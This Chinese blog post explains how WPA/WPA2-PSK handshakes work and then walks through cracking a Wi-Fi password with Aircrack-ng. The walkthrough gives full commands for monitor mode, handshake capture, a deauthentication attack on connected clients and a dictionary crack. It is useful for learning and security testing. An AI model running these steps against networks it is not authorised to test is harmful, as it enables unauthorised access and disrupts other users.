WPA-PSK无线网络破解原理与过程

声明:本文仅供学习交流使用!

  • wifi 标准以及相应标准的特征汇总表

    这里写图片描述

  • 无线安全技术
    1) WEP(Wired Equivalent Privacy有线对等保密)
    这里写图片描述
    最早的无线加密体制,由于算法的缺陷很容易被破解。抓包获取在数据流中明文传输的IV,再通过统计学方法用IV得到密钥。

    2) WPA
    在不升级硬件的前提下,WAP使用TKIP(Temporal Key Integrity Protocol临时密钥集成协议) 来实现WLAN的访问控制、密钥管理和数据加密来增强WEP的安全性。WPA加密算法有两个版本。
    a) WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC
    b) WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP

    注:
    802.1x + EAP、Pre-shared Key:身份校验算法
    TKIP、AES:数据传输加密算法
    MIC、CCMP:数据完整性校验算法

    802.1x + EAP (工业级的,安全要求高的地方用。需要认证服务器)EAP 扩展认证协议,是一种架构,而不是具体算法。常见的有LEAP,MD5,TTLS,TLS,PEAP,SRP,SIM,AKA 其中的TLS 和TTLS 是双向认证模式。这种认证方式不怕网络劫持和字典攻击。
    Pre-shared Key (家庭用的,用在安全要求低的地方。不需要服务器)。容易被字典攻击

  • WPA-PSK
    1) WPA的四次握手过程
    WPA 握手过程是基于802.1X 协议,使用eapol key进行封装传输。
    这里写图片描述
    a) AP初始化:
    使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

    b) 第一次握手:
    AP广播SSID,AP_MAC(AA);
    STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。

    c) 第二次握手
    STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP;
    AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。
    PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

    d) 第三次握手:
    AP发送上面产生的ANonce给STATION
    STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
    MIC = HMAC_MD5(MIC Key,16,802.1X data)

    e) 第四次握手
    STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。
    AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。

    2) WPA—PSK破解原理
    用我们字典中的Passphrase+SSID先生成PMK,然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。

  • 破解过程
    环境:Kali Linux 2.0、USB无线网卡
    工具:Aircrack-ng

    1) 第一步:把usb网卡插入虚拟机,并开启网卡到监听模式,命令如下:
    airmon-ng start ra0 (ra0为无线网卡名称)

    注:如果虚拟机无法识别无线网卡需安装驱动,教程链接:http://blog.csdn.net/swjtu100/article/details/50543260

    2) 第二步:抓包查看所在区域无线网的状态,选择需破解的目标网络,命令如下:
    airodump-ng ra0
    这里写图片描述

    3) 第三步:抓取目标网络的握手包,命令如下:
    airodump-ng - c 1 –bssid EC:17:2F:FA:F0:CA - w /root/Desktop/ ra0

    参数解释:-c:监听频道 –bssid 目标AP网络mac值 -w:保存监听事件的文件名
    这里写图片描述

    4) 第四步:重新打开一个terminal窗口,使用DEAUTH攻击使已经连接的客户端断开并重新连接,以产生握手包。(注意:抓握手包破解必须有合法的客户端才行)命令如下:
    aireplay-ng -0 10 -a EC:17:2F:FA:F0:CA -c DC:EE:06:1F:BB:AF ra0

    参数解释:- 0 deauth攻击 10:进行10次攻击 -a:AP的MAC地址 -c:已连接该AP的客户端MAC地址

    当获取到握手包时会出现红框内的信息
    这里写图片描述

    5) 第五步:通过四次握手包和字典(metasploit自带的字典)破解密码,命令如下:
    aircrack-ng -a2 -b EC:17:2F:FA:F0:CA -w /usr/share/metasploit-framework/data/john/
    wordlists/password.lst /root/Desktop/-01.cap

    参数解释:-a2 WPA的方法破解握手包 -w:字典路径 -01.cap: 第四步中抓取的握手包文件名
    这里写图片描述
    破解成功!


参考:
http://www.freebuf.com/articles/wireless/58342.html
http://blog.csdn.net/ivan_/article/details/39205371
http://null-byte.wonderhowto.com/how-to/wi-fi-hacking/
http://lewiscomputerhowto.blogspot.in/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 精致技术 设计师:CSDN官方博客 返回首页